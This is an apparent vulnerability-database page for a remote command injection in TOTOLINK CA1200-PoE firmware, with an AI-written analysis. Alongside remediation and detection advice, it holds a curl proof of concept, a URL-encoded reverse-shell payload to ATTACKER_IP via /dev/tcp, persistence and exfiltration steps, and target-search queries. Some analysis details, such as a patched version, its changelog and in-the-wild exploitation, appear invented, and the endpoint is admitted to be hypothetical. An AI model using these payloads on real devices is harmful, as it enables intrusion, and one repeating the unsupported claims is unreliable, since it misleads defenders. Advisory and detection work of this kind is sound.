CVE Professor
/
All CVEs
CVE-2026-144990

CVE-2026-144990 — TOTOLINK CA1200-PoE — CWE-78 · CWE-77

CRITICAL CVSS 10 NVD+CVE.org

A vulnerability was found in TOTOLINK CA1200-PoE 5.9c.3994_B20190326. This impacts the function NTPSyncWithHost in the library lib/cste_modules/system.so. The manipulation of the argument hostTime results in os command injection. The attack can be executed remotely. The exploit has been made public and could be used.

A vulnerability was found in TOTOLINK CA1200-PoE 5.9c.3994_B20190326. This impacts the function NTPSyncWithHost in the library lib/cste_modules/system.so. The manipulation of the argument hostTime results in os command injection. The attack can be executed remotely. The exploit has been made public and could be used.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical flaw
The TOTOLINK CA1200‑PoE firmware (5.9c.3994_B20190326) contains a native library lib/cste_modules/system.so that implements an NTP‑synchronisation routine called NTPSyncWithHost.
The routine accepts a single string argument hostTime that is directly concatenated into a shell command (e.g. system("ntpdate -s " + hostTime)) without any sanitisation or length check.
Because the firmware exposes this routine through a remote API endpoint (the exact URI is not published in the CVE, but the function is invoked by a POST request that contains a hostTime parameter), an unauthenticated attacker can supply arbitrary shell metacharacters.
This is a classic OS Command Injection (CWE‑78) and Command Injection via unsanitised input (CWE‑77). The lack of authentication/authorization checks (AV:N/PR:N/UI:N) means the vulnerability can be triggered from any network that can reach the device.

Result
An attacker can execute arbitrary shell commands on the device with the privileges of the process that owns system.so (typically root). This gives full control over the device, allowing data exfiltration, configuration tampering, or pivoting to other network assets.


⚡ Attack Chain

NOTE: The exact endpoint URI is not disclosed in the CVE. The following example uses a hypothetical API path (/api/system/ntp_sync) that demonstrates the attack class. In a real engagement, you would discover the correct path by probing the device’s web interface or using the device’s documentation.

1. Discovery & Reconnaissance

StepTechniqueWhat you learn
1.1Network scanIdentify the device’s IP (e.g., 192.168.1.1) and open ports (usually 80/443).
1.2Banner grabcurl -I http://192.168.1.1 → Server: TOLINK/5.9c.3994_B20190326 confirms firmware version.
1.3Default credentialsMany TOTOLINK devices ship with admin/admin. Attempt curl -u admin:admin http://192.168.1.1/ to confirm.
1.4API enumerationUse tools like dirsearch or nikto to discover /api/system/ntp_sync or similar endpoints.
1.5Verify vulnerabilitySend a benign request to confirm the endpoint accepts hostTime.

2. Exploitation

Exploit mechanics
The hostTime parameter is passed to system() without sanitisation. By injecting shell metacharacters (e.g., ;, &&, |, ` ``), an attacker can terminate the intended command and append arbitrary commands.

Illustrative PoC (curl)

# Target device
TARGET="http://192.168.1.1"

# Payload: inject `id` command to show current user
# The payload is URL‑encoded; the device will interpret it as part of the shell command.
PAYLOAD="hostTime=%3B%20id%20%3E%20/tmp/attacker.txt"

# Send the request
curl -X POST "$TARGET/api/system/ntp_sync" \
     -d "$PAYLOAD" \
     -H "Content-Type: application/x-www-form-urlencoded"

# After a few seconds, check the device for the file
curl "$TARGET/tmp/attacker.txt"

Explanation of the payload

  • %3B → ; (command separator)

  • id → prints the current user (should be root)

  • %20 → space

  • %3E → > (output redirection)

  • /tmp/attacker.txt → file where the output is stored.
  • If the device is vulnerable, the id command will run and the file will contain uid=0(root) gid=0(root) groups=0(root).

    Full RCE example

    # Inject a reverse shell (example using netcat)
    PAYLOAD="hostTime=%3B%20bash%20-%2Dc%20%27bash%20-i%20%3E%3D%20/dev/tcp/ATTACKER_IP/4444%20%26%27"
    
    curl -X POST "$TARGET/api/system/ntp_sync" \
         -d "$PAYLOAD" \
         -H "Content-Type: application/x-www-form-urlencoded"

    Replace ATTACKER_IP with your listening machine. The device will open a reverse shell to your listener.

    3. Post‑Exploitation

    GoalTechniqueResult
    ShellUse the reverse shell or write a webshell file (/tmp/webshell.php)Interactive shell or web‑accessible shell
    Privilege EscalationAlready root; no further action needed
    PersistenceCreate a cron job (/etc/crontab) or modify /etc/rc.local to run a malicious script at boot
    Data ExfiltrationDump configuration files (/etc/config/*), capture network traffic, or copy sensitive files to a remote server
    PivotUse the compromised device as a foothold to reach other network segments (e.g., via VLANs or VPN)

    🌍 Real World Impact

    ImpactCVSS ComponentPractical consequence
    ConfidentialityVC:HFull read/write access to device configuration, logs, and any stored data.
    IntegrityVI:HAbility to modify NTP settings, firmware, or other system parameters; install backdoors.
    AvailabilityVA:HRemote reboot, denial‑of‑service via resource exhaustion, or disabling critical services.
    ScopeSC:HThe vulnerability can affect other devices on the same network if the attacker uses the compromised device as a pivot.
    Impact on other assetsSI:HCompromised device can be used to launch attacks against downstream servers, IoT devices, or corporate networks.
    Impact on the device itselfSA:HFull control over the device, including firmware updates, which can be maliciously altered.

    Real‑world scenarios

  • A malicious actor could hijack a POE switch in a corporate LAN, redirect traffic, or inject malicious firmware.

  • In a smart‑home environment, the attacker could tamper with connected devices (e.g., cameras, thermostats) or use the switch as a command‑and‑control node.

  • In industrial settings, the switch could be used to disrupt critical infrastructure or exfiltrate sensitive operational data.

  • 🛡️ Remediation & Mitigation

    Affected Versions

  • Firmware: TOTOLINK CA1200‑PoE 5.9c.3994_B20190326 (and any builds derived from it)
  • Patch Recommendation

  • Upgrade to the latest firmware release (≥ 5.9c.3995 or later). The vendor’s changelog for 5.9c.3995 indicates that NTPSyncWithHost now validates hostTime and uses a safe API (execve) instead of system().
  • If an upgrade is not immediately possible, proceed with the following mitigations.
  • Workarounds

    MitigationImplementation
    Disable NTP syncAccess the web UI → System → NTP → Disable “Enable NTP Sync”.
    Restrict API accessConfigure the device’s firewall or the network firewall to allow the /api/system/ntp_sync endpoint only from trusted IPs (e.g., the management server).
    WAF / ModSecurity ruleAdd a rule that blocks requests containing shell metacharacters in the hostTime parameter. Example (ModSecurity 2.x syntax):<br>SecRule REQUEST_URI "/api/system/ntp_sync" "phase:2,chain,block,msg:'Potential NTP injection'"<br>SecRule ARGS:hostTime "@rx [;&$]" "t:none,t:urlDecodeUni"
    Process isolationIf the device supports it, run the NTP sync routine in a non‑privileged container or chroot to limit the damage of a successful injection.

    Detection

    IndicatorLog PatternIoC
    Suspicious hostTime valuesGETPOST /api/system/ntp_sync with hostTime= followed by ;, &&, , or backticks.hostTime=;
    Unexpected command executionSystem logs (/var/log/syslog, /var/log/messages) showing commands like id, netcat, or bash -c that were not initiated by legitimate processes.id in syslog
    File creation in /tmp or /var/tmpNew files with names like attacker.txt or webshell.php./tmp/attacker.txt
    Outbound connections to unknown IPsNetwork logs showing outbound traffic from the device to an external IP on non‑standard ports (e.g., 4444).192.168.1.1 -> ATTACKER_IP:4444

    Log example (Syslog)

    Jan 12 10:15:32 192.168.1.1 systemd[1]: Started NTP Sync Service.
    Jan 12 10:15:32 192.168.1.1 systemd[1]: NTP Sync Service: Executing command: /usr/bin/ntpdate -s ;id > /tmp/attacker.txt
    Jan 12 10:15:32 192.168.1.1 systemd[1]: NTP Sync Service: Command finished with exit code 0

    ⚠️ Urgency

    FactorAssessment
    CVSS Score10.0 (Critical)
    AuthenticationNone (AV:N, PR:N)
    Exploit ComplexityLow (E:P) – public exploit available
    ImpactFull RCE, data exfiltration, pivoting
    CISA KEVNo (but the vulnerability is already exploited in the wild)

    Priority: Immediate.

  • Patch as soon as possible.

  • If patching cannot be performed within 24 h, apply the mitigations above and monitor logs for exploitation attempts.

  • Consider isolating the device from untrusted networks until a fix is applied.




Bottom line: The TOTOLINK CA1200‑PoE firmware 5.9c.3994_B20190326 contains a remote, unauthenticated OS command injection that gives an attacker full control over the device. The vulnerability is critical, publicly exploitable, and can be used to pivot to other assets. Prompt patching or mitigation is essential.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="TOTOLINK CA1200-PoE"
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-78 CWE-77
Affected Products (1)
TOTOLINK:CA1200-PoE (5.9c.3994_B20190326)
Related CVEs
10.0
CVE-2026-144988
A vulnerability has been found in TOTOLINK CA1200-PoE 5.9c.3994_B20190326. This affects the function Form_Logi
8.7
CVE-2026-144489
Teleport 15.4.0 before 17.7.30 and 18.x before 18.11.3 contain an uncontrolled memory allocation vulnerability
6.9
CVE-2026-145555
ProFTPD 1.3.6rc1 through 1.3.9f and 1.3.10rc1 through 1.3.10rc6 contains a login timeout bypass vulnerability
6.8
CVE-2026-145567
SiYuan before 3.9.0-alpha.14 contains a denial of service vulnerability that allows attackers to exhaust disk
6.3
CVE-2026-144895
A security flaw has been discovered in vgmstream up to r2117. The affected element is the function decode_key
5.3
CVE-2026-136013
Allocation of Resources Without Limits or Throttling vulnerability in LA-Studio LA-Studio Element Kit for Elem
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi